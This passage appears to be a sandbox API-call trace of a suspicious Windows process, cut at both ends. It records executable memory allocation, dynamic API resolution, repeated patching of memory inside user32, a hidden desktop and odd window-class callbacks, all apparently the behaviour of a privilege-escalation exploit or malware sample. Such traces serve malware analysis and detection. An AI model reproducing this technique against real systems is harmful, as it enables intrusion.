Flags=0x0, BaseAddress=0x20340b0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20340c0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e8f8) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034150) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20344f8) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e970) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20342b0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20342c0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ead8) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034950) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034960) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ece8) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034240) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034250) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ea78) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20342f0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034300) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6eb20) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034290) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20342a0) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6eac0) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034160) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034170) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e988) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20343f0) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034820) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ebe0) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20341d0) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20341e0) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ea00) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034070) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034080) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e8c8) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034528) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af0c8) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e9d0) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034870) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034880) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ec28) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034850) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034860) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ec10) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e7d0) returned 1 [0134.345] HeapDestroy (hHeap=0x2c70000) returned 1 [0134.347] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20349e0) returned 1 [0134.347] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20345d0) returned 1 [0134.347] RtlFreeHeap (HeapHandle=0x2ef0000, Flags=0x0, BaseAddress=0x2fee8b0) returned 1 [0134.348] RtlFreeHeap (HeapHandle=0x2ef0000, Flags=0x0, BaseAddress=0x2fee7d0) returned 1 [0134.348] HeapDestroy (hHeap=0x2ef0000) returned 1 [0134.349] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20345e8) returned 1 [0134.350] HeapDestroy (hHeap=0x31b0000) returned 1 [0134.352] GetCurrentProcess () returned 0xffffffff [0134.352] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fed4 | out: TokenHandle=0x18fed4*=0x0) returned 0 [0134.352] ExitProcess (uExitCode=0x0) [0134.384] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0xedc [0051.553] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1f9ff7c*=0x0, ZeroBits=0x0, RegionSize=0x1f9ff84*=0x330, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x1f9ff7c*=0x240000, RegionSize=0x1f9ff84*=0x1000) returned 0x0 [0051.553] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1f9ff78*=0x0, ZeroBits=0x0, RegionSize=0x1f9ff84*=0x5400, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x1f9ff78*=0x250000, RegionSize=0x1f9ff84*=0x6000) returned 0x0 [0051.553] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1f9ff74*=0x0, ZeroBits=0x0, RegionSize=0x1f9ff84*=0x100, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x1f9ff74*=0x260000, RegionSize=0x1f9ff84*=0x1000) returned 0x0 [0051.558] RtlAllocateActivationContextStack () returned 0x0 [0051.558] _wcsicmp (_Str1="kernel32.dll", _Str2="kernel32.dll") returned 0 [0051.558] _wcsicmp (_Str1="kernel32.dll", _Str2="user32.dll") returned -10 [0051.558] LdrGetKnownDllSectionHandle () returned 0x0 [0051.558] NtMapViewOfSection (in: SectionHandle=0xc4, ProcessHandle=0xffffffffffffffff, BaseAddress=0x2bfc50*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x2bfc58*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x2bfc50*=0x20b0000, SectionOffset=0x0, ViewSize=0x2bfc58*=0x11f000) returned 0x40000003 [0051.562] NtClose (Handle=0xc4) returned 0x0 [0051.562] RtlImageNtHeader (BaseAddress=0x20b0000) returned 0x20b00e8 [0051.562] NtFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0x2bfbf8*=0x77160000, RegionSize=0x2bfbf0, FreeType=0x8000) returned 0x0 [0051.567] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x20b0000) returned 0x0 [0051.567] wcslen (_String="kernel32.dll") returned 0xc [0051.567] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32.dll", BaseAddress=0x2bfcc0 | out: BaseAddress=0x2bfcc0*=0x77160000) returned 0x0 [0051.576] wcslen (_String="kernelbase.dll") returned 0xe [0051.576] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernelbase.dll", BaseAddress=0x2bfcb0 | out: BaseAddress=0x2bfcb0*=0x2c0000) returned 0x0 [0051.576] _wcsicmp (_Str1="user32.dll", _Str2="kernel32.dll") returned 10 [0051.576] _wcsicmp (_Str1="user32.dll", _Str2="user32.dll") returned 0 [0051.576] LdrGetKnownDllSectionHandle () returned 0x0 [0051.576] NtMapViewOfSection (in: SectionHandle=0xc4, ProcessHandle=0xffffffffffffffff, BaseAddress=0x2bfc50*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x2bfc58*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x2bfc50*=0x20b0000, SectionOffset=0x0, ViewSize=0x2bfc58*=0xfa000) returned 0x40000003 [0051.576] NtClose (Handle=0xc4) returned 0x0 [0051.576] RtlImageNtHeader (BaseAddress=0x20b0000) returned 0x20b00f8 [0051.576] NtFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0x2bfbf8*=0x77280000, RegionSize=0x2bfbf0, FreeType=0x8000) returned 0x0 [0051.577] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x20b0000) returned 0x0 [0051.577] wcslen (_String="user32.dll") returned 0xa [0051.577] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="user32.dll", BaseAddress=0x2bfcc0 | out: BaseAddress=0x2bfcc0*=0x77280000) returned 0x0 [0051.604] wcslen (_String="gdi32.dll") returned 0x9 [0051.604] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="gdi32.dll", BaseAddress=0x2bfcb0 | out: BaseAddress=0x2bfcb0*=0x1e10000) returned 0x0 [0051.604] _wcsicmp (_Str1="msvcrt.dll", _Str2="kernel32.dll") returned 2 [0051.604] _wcsicmp (_Str1="msvcrt.dll", _Str2="user32.dll") returned -8 [0051.604] wcslen (_String="msvcrt.dll") returned 0xa [0051.604] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="msvcrt.dll", BaseAddress=0x2bfcc0 | out: BaseAddress=0x2bfcc0*=0x2180000) returned 0x0 [0051.605] _wcsicmp (_Str1="rpcrt4.dll", _Str2="kernel32.dll") returned 7 [0051.605] _wcsicmp (_Str1="rpcrt4.dll", _Str2="user32.dll") returned -3 [0051.605] wcslen (_String="rpcrt4.dll") returned 0xa [0051.605] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="rpcrt4.dll", BaseAddress=0x2bfcc0 | out: BaseAddress=0x2bfcc0*=0x2260000) returned 0x0 [0051.615] _wcsicmp (_Str1="advapi32.dll", _Str2="kernel32.dll") returned -10 [0051.615] _wcsicmp (_Str1="advapi32.dll", _Str2="user32.dll") returned -20 [0051.615] wcslen (_String="advapi32.dll") returned 0xc [0051.615] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="advapi32.dll", BaseAddress=0x2bfcf0 | out: BaseAddress=0x2bfcf0*=0x2390000) returned 0x0 [0051.632] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x2180000 [0051.635] GetProcAddress (hModule=0x2180000, lpProcName="_stricmp") returned 0x2181690 [0051.666] GetProcAddress (hModule=0x2180000, lpProcName="_snwprintf") returned 0x21d9a50 [0051.666] GetProcAddress (hModule=0x2180000, lpProcName="memset") returned 0x2181000 [0051.666] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77160000 [0051.667] GetProcAddress (hModule=0x77160000, lpProcName="CreateThread") returned 0x77176580 [0051.667] GetProcAddress (hModule=0x77160000, lpProcName="TlsFree") returned 0x77171590 [0051.667] GetProcAddress (hModule=0x77160000, lpProcName="GetProcessHeap") returned 0x77183050 [0051.667] GetProcAddress (hModule=0x77160000, lpProcName="GetCurrentProcess") returned 0x77175cf0 [0051.667] GetProcAddress (hModule=0x77160000, lpProcName="GetSystemDirectoryW") returned 0x77177120 [0051.667] GetProcAddress (hModule=0x77160000, lpProcName="GetModuleHandleA") returned 0x771765e0 [0051.667] GetProcAddress (hModule=0x77160000, lpProcName="LoadLibraryA") returned 0x77177070 [0051.667] GetProcAddress (hModule=0x77160000, lpProcName="GlobalAlloc") returned 0x771680c0 [0051.667] GetProcAddress (hModule=0x77160000, lpProcName="GlobalFree") returned 0x771681b0 [0051.667] GetProcAddress (hModule=0x77160000, lpProcName="GetSystemInfo") returned 0x77176f70 [0051.668] GetProcAddress (hModule=0x77160000, lpProcName="CopyFileW") returned 0x771692d0 [0051.668] GetProcAddress (hModule=0x77160000, lpProcName="IsWow64Process") returned 0x771691d0 [0051.668] GetProcAddress (hModule=0x77160000, lpProcName="TlsSetValue") returned 0x77175cd0 [0051.668] GetProcAddress (hModule=0x77160000, lpProcName="HeapFree") returned 0x77183070 [0051.668] GetProcAddress (hModule=0x77160000, lpProcName="WaitForSingleObject") returned 0x77182b20 [0051.668] GetProcAddress (hModule=0x77160000, lpProcName="GetCurrentThreadId") returned 0x77173ee0 [0051.668] GetProcAddress (hModule=0x77160000, lpProcName="Sleep") returned 0x77182b70 [0051.668] GetProcAddress (hModule=0x77160000, lpProcName="HeapAlloc") returned 0x773d33a0 [0051.668] GetProcAddress (hModule=0x77160000, lpProcName="SleepEx") returned 0x77182bb0 [0051.668] GetProcAddress (hModule=0x77160000, lpProcName="TlsGetValue") returned 0x77182bd0 [0051.669] GetProcAddress (hModule=0x77160000, lpProcName="CreateEventA") returned 0x77171120 [0051.669] GetProcAddress (hModule=0x77160000, lpProcName="SetThreadAffinityMask") returned 0x77165490 [0051.669] GetProcAddress (hModule=0x77160000, lpProcName="ReadFile") returned 0x77171500 [0051.669] GetProcAddress (hModule=0x77160000, lpProcName="HeapCreate") returned 0x771770e0 [0051.669] GetProcAddress (hModule=0x77160000, lpProcName="VirtualProtect") returned 0x77162ef0 [0051.669] GetProcAddress (hModule=0x77160000, lpProcName="SetPriorityClass") returned 0x771abcf0 [0051.669] GetProcAddress (hModule=0x77160000, lpProcName="SetThreadPriority") returned 0x7717d990 [0051.669] GetProcAddress (hModule=0x77160000, lpProcName="CreateFileW") returned 0x77171870 [0051.669] GetProcAddress (hModule=0x77160000, lpProcName="ResumeThread") returned 0x771713a0 [0051.669] GetProcAddress (hModule=0x77160000, lpProcName="CreateFileA") returned 0x771831f0 [0051.670] GetProcAddress (hModule=0x77160000, lpProcName="GetSystemDirectoryA") returned 0x77179450 [0051.670] GetProcAddress (hModule=0x77160000, lpProcName="TerminateThread") returned 0x77171280 [0051.670] GetProcAddress (hModule=0x77160000, lpProcName="TlsAlloc") returned 0x77177100 [0051.670] GetProcAddress (hModule=0x77160000, lpProcName="DeleteFileW") returned 0x7716ad90 [0051.670] GetProcAddress (hModule=0x77160000, lpProcName="CloseHandle") returned 0x77182f80 [0051.670] GetProcAddress (hModule=0x77160000, lpProcName="GetFileSize") returned 0x7716f9d0 [0051.670] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77280000 [0051.670] GetProcAddress (hModule=0x77280000, lpProcName="UnhookWinEvent") returned 0x77288550 [0051.670] GetProcAddress (hModule=0x77280000, lpProcName="SetWinEventHook") returned 0x77294d4c [0051.670] GetProcAddress (hModule=0x77280000, lpProcName="PostQuitMessage") returned 0x77287400 [0051.671] GetProcAddress (hModule=0x77280000, lpProcName="AppendMenuA") returned 0x772fd85c [0051.671] GetProcAddress (hModule=0x77280000, lpProcName="SetClassLongA") returned 0x772fde7c [0051.671] GetProcAddress (hModule=0x77280000, lpProcName="SetParent") returned 0x77288530 [0051.671] GetProcAddress (hModule=0x77280000, lpProcName="SendMessageA") returned 0x7728d338 [0051.671] GetProcAddress (hModule=0x77280000, lpProcName="TranslateMessage") returned 0x772996f0 [0051.671] GetProcAddress (hModule=0x77280000, lpProcName="CreateWindowExA") returned 0x7728a2e0 [0051.671] GetProcAddress (hModule=0x77280000, lpProcName="DestroyMenu") returned 0x77289260 [0051.671] GetProcAddress (hModule=0x77280000, lpProcName="DefWindowProcA") returned 0x7739f548 [0051.671] GetProcAddress (hModule=0x77280000, lpProcName="RegisterClassA") returned 0x77289f68 [0051.671] GetProcAddress (hModule=0x77280000, lpProcName="GetClassLongA") returned 0x772fcbac [0051.672] GetProcAddress (hModule=0x77280000, lpProcName="ShowWindow") returned 0x77291930 [0051.672] GetProcAddress (hModule=0x77280000, lpProcName="SetThreadDesktop") returned 0x7728d6d0 [0051.672] GetProcAddress (hModule=0x77280000, lpProcName="GetClassNameA") returned 0x772fb394 [0051.672] GetProcAddress (hModule=0x77280000, lpProcName="SetClassLongPtrW") returned 0x77285c64 [0051.672] GetProcAddress (hModule=0x77280000, lpProcName="PostMessageA") returned 0x7728a404 [0051.672] GetProcAddress (hModule=0x77280000, lpProcName="SetWindowLongPtrW") returned 0x772976c0 [0051.672] GetProcAddress (hModule=0x77280000, lpProcName="SetActiveWindow") returned 0x77295920 [0051.672] GetProcAddress (hModule=0x77280000, lpProcName="SetWindowPos") returned 0x77293c50 [0051.672] GetProcAddress (hModule=0x77280000, lpProcName="DestroyWindow") returned 0x7728cbf0 [0051.672] GetProcAddress (hModule=0x77280000, lpProcName="DispatchMessageA") returned 0x77296274 [0051.673] GetProcAddress (hModule=0x77280000, lpProcName="GetMessageA") returned 0x77296110 [0051.673] GetProcAddress (hModule=0x77280000, lpProcName="CreateDesktopA") returned 0x772c16f0 [0051.673] GetProcAddress (hModule=0x77280000, lpProcName="CloseDesktop") returned 0x7728d850 [0051.673] GetProcAddress (hModule=0x77280000, lpProcName="CreateMenu") returned 0x772a541c [0051.673] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77380000 [0051.673] GetProcAddress (hModule=0x77380000, lpProcName="RtlImageNtHeader") returned 0x773aecb0 [0051.673] GetProcAddress (hModule=0x77380000, lpProcName="RtlGetVersion") returned 0x773a9380 [0051.673] GetProcAddress (hModule=0x77380000, lpProcName="RtlAllocateActivationContextStack") returned 0x773ac290 [0051.673] GetProcAddress (hModule=0x77380000, lpProcName="NtCallbackReturn") returned 0x773d1360 [0051.673] GetProcAddress (hModule=0x77380000, lpProcName="RtlAllocateHeap") returned 0x773d33a0 [0051.673] GetProcAddress (hModule=0x77380000, lpProcName="NtSetTimer") returned 0x773d1930 [0051.674] GetProcAddress (hModule=0x77380000, lpProcName="RtlFreeHeap") returned 0x773d3200 [0051.674] GetProcAddress (hModule=0x77380000, lpProcName="NtCreateTimer") returned 0x773d1da0 [0051.674] GetProcAddress (hModule=0x77380000, lpProcName="RtlInitUnicodeString") returned 0x773d5280 [0051.674] GetProcAddress (hModule=0x77380000, lpProcName="NtQuerySystemInformation") returned 0x773d1670 [0051.674] GetProcAddress (hModule=0x77380000, lpProcName="RtlImageRvaToSection") returned 0x77429480 [0051.674] GetProcAddress (hModule=0x77380000, lpProcName="RtlQueryEnvironmentVariable_U") returned 0x773ab7a0 [0051.674] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x2260000 [0051.674] GetProcAddress (hModule=0x2260000, lpProcName="UuidToStringA") returned 0x23075c0 [0051.674] GetProcAddress (hModule=0x2260000, lpProcName="RpcStringFreeA") returned 0x2308df0 [0051.676] GetProcessHeap () returned 0x360000 [0051.676] GetSystemInfo (in: lpSystemInfo=0x2542f8 | out: lpSystemInfo=0x2542f8*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0051.677] GetCurrentProcess () returned 0xffffffffffffffff [0051.677] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x2542f0 | out: Wow64Process=0x2542f0*=1) returned 1 [0051.677] RtlGetVersion (in: lpVersionInformation=0x2bf7c0 | out: lpVersionInformation=0x2bf7c0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0051.677] GetProcessHeap () returned 0x360000 [0051.677] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0051.677] UuidToStringA (in: Uuid=0x2bf8d0, StringUuid=0x2bf8f0 | out: StringUuid=0x2bf8f0) returned 0x0 [0051.679] RpcStringFreeA (in: String=0x2bf8f0 | out: String=0x2bf8f0) returned 0x0 [0051.679] VirtualProtect (in: lpAddress=0x77309510, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x2bf8f0 | out: lpflOldProtect=0x2bf8f0*=0x2) returned 1 [0051.679] VirtualProtect (in: lpAddress=0x77309510, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2bf8f0 | out: lpflOldProtect=0x2bf8f0*=0x4) returned 1 [0051.679] VirtualProtect (in: lpAddress=0x77309518, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x2bf8f0 | out: lpflOldProtect=0x2bf8f0*=0x2) returned 1 [0051.680] VirtualProtect (in: lpAddress=0x77309518, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2bf8f0 | out: lpflOldProtect=0x2bf8f0*=0x4) returned 1 [0051.680] VirtualProtect (in: lpAddress=0x77309550, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x2bf8f0 | out: lpflOldProtect=0x2bf8f0*=0x2) returned 1 [0051.680] VirtualProtect (in: lpAddress=0x77309550, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2bf8f0 | out: lpflOldProtect=0x2bf8f0*=0x4) returned 1 [0051.680] VirtualProtect (in: lpAddress=0x77309640, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x2bf8f0 | out: lpflOldProtect=0x2bf8f0*=0x2) returned 1 [0051.680] VirtualProtect (in: lpAddress=0x77309640, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2bf8f0 | out: lpflOldProtect=0x2bf8f0*=0x4) returned 1 [0051.680] VirtualProtect (in: lpAddress=0x77309708, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x2bf8f0 | out: lpflOldProtect=0x2bf8f0*=0x2) returned 1 [0051.681] VirtualProtect (in: lpAddress=0x77309708, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2bf8f0 | out: lpflOldProtect=0x2bf8f0*=0x4) returned 1 [0051.681] VirtualProtect (in: lpAddress=0x77309770, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x2bf8f0 | out: lpflOldProtect=0x2bf8f0*=0x2) returned 1 [0051.682] VirtualProtect (in: lpAddress=0x77309770, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2bf8f0 | out: lpflOldProtect=0x2bf8f0*=0x4) returned 1 [0051.682] GetCurrentProcess () returned 0xffffffffffffffff [0051.682] SetPriorityClass (hProcess=0xffffffffffffffff, dwPriorityClass=0x80) returned 1 [0051.683] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x8529) returned 0x37b400 [0051.683] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0x28a0000 [0051.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x251210, lpParameter=0x37b400, dwCreationFlags=0x4, lpThreadId=0x37b58c | out: lpThreadId=0x37b58c*=0xee0) returned 0xf4 [0051.684] SetThreadPriority (hThread=0xf4, nPriority=15) returned 1 [0051.685] SetThreadAffinityMask (hThread=0xf4, dwThreadAffinityMask=0x1) returned 0x1 [0051.686] CreateDesktopA (lpszDesktop="Gvtmh", lpszDevice=0x0, pDevmode=0x0, dwFlags=0x0, dwDesiredAccess=0xc0000000, lpsa=0x0) returned 0xf8 [0051.689] ResumeThread (hThread=0xf4) returned 0x1 [0052.258] WaitForSingleObject (hHandle=0xf4, dwMilliseconds=0x3a98) returned 0x0 [0054.560] RtlFreeHeap (HeapHandle=0x360000, Flags=0x0, BaseAddress=0x37b400) returned 1 [0054.560] CloseDesktop (hDesktop=0xf8) returned 1 [0054.570] CloseHandle (hObject=0xf4) returned 1 [0054.570] VirtualProtect (in: lpAddress=0x77309510, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x2bfc90 | out: lpflOldProtect=0x2bfc90*=0x2) returned 1 [0054.571] VirtualProtect (in: lpAddress=0x77309510, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2bfc90 | out: lpflOldProtect=0x2bfc90*=0x4) returned 1 [0054.571] VirtualProtect (in: lpAddress=0x77309518, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x2bfc90 | out: lpflOldProtect=0x2bfc90*=0x2) returned 1 [0054.571] VirtualProtect (in: lpAddress=0x77309518, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2bfc90 | out: lpflOldProtect=0x2bfc90*=0x4) returned 1 [0054.571] VirtualProtect (in: lpAddress=0x77309550, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x2bfc90 | out: lpflOldProtect=0x2bfc90*=0x2) returned 1 [0054.572] VirtualProtect (in: lpAddress=0x77309550, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2bfc90 | out: lpflOldProtect=0x2bfc90*=0x4) returned 1 [0054.572] VirtualProtect (in: lpAddress=0x77309640, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x2bfc90 | out: lpflOldProtect=0x2bfc90*=0x2) returned 1 [0054.572] VirtualProtect (in: lpAddress=0x77309640, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2bfc90 | out: lpflOldProtect=0x2bfc90*=0x4) returned 1 [0054.572] VirtualProtect (in: lpAddress=0x77309708, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x2bfc90 | out: lpflOldProtect=0x2bfc90*=0x2) returned 1 [0054.572] VirtualProtect (in: lpAddress=0x77309708, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2bfc90 | out: lpflOldProtect=0x2bfc90*=0x4) returned 1 [0054.573] VirtualProtect (in: lpAddress=0x77309770, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x2bfc90 | out: lpflOldProtect=0x2bfc90*=0x2) returned 1 [0054.573] VirtualProtect (in: lpAddress=0x77309770, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2bfc90 | out: lpflOldProtect=0x2bfc90*=0x4) returned 1 [0054.575] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x1f9ff7c*=0x240000, RegionSize=0x1f9ff6c, FreeType=0x8000) returned 0x0 Thread: id = 3 os_tid = 0xee0 [0051.689] RtlAllocateActivationContextStack () returned 0x0 [0051.690] SetThreadDesktop (hDesktop=0xf8) returned 1 [0051.690] RegisterClassA (lpWndClass=0x261fbd0) returned 0x852c1bf [0051.690] CreateWindowExA (dwExStyle=0x0, lpClassName="Higv", lpWindowName=0x0, dwStyle=0xcf0000, X=8535, Y=8800, nWidth=258, nHeight=118, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.692] NtCallbackReturn (Result=0x261f5a8, ResultLength=0x18, Status=0x0) [0051.692] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x24, wParam=0x0, lParam=0x261f5f0) returned 0x0 [0051.693] GetCurrentThreadId () returned 0xee0 [0051.693] GetClassNameA (in: hWnd=0x6001e, lpClassName=0x261f3f0, nMaxCount=260 | out: lpClassName="Higv") returned 4 [0051.693] _strcmpi (_Str1="Higv", _Str2="sysshadow") returned -11 [0051.693] _strcmpi (_Str1="Higv", _Str2="msctfime ui") returned -5 [0051.693] __fnINLPCREATESTRUCT () [0051.693] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x81, wParam=0x0, lParam=0x261f5b0) returned 0x1 [0051.693] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x83, wParam=0x0, lParam=0x261f610) returned 0x0 [0051.693] GetCurrentThreadId () returned 0xee0 [0051.693] GetClassNameA (in: hWnd=0x6001e, lpClassName=0x261f3f0, nMaxCount=260 | out: lpClassName="Higv") returned 4 [0051.693] _strcmpi (_Str1="Higv", _Str2="sysshadow") returned -11 [0051.693] _strcmpi (_Str1="Higv", _Str2="msctfime ui") returned -5 [0051.693] __fnINLPCREATESTRUCT () [0051.693] CreateWindowExA (dwExStyle=0x0, lpClassName="SCROLLBAR", lpWindowName=0x0, dwStyle=0x50000001, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x6001e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.694] GetCurrentThreadId () returned 0xee0 [0051.694] GetClassNameA (in: hWnd=0x50108, lpClassName=0x261ea50, nMaxCount=260 | out: lpClassName="ScrollBar") returned 9 [0051.694] _strcmpi (_Str1="ScrollBar", _Str2="sysshadow") returned -22 [0051.694] _strcmpi (_Str1="ScrollBar", _Str2="msctfime ui") returned 6 [0051.694] __fnINLPCREATESTRUCT () [0051.694] GetCurrentThreadId () returned 0xee0 [0051.694] __fnDWORD () [0051.694] GetCurrentThreadId () returned 0xee0 [0051.694] __fnDWORD () [0051.694] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x210, wParam=0x1, 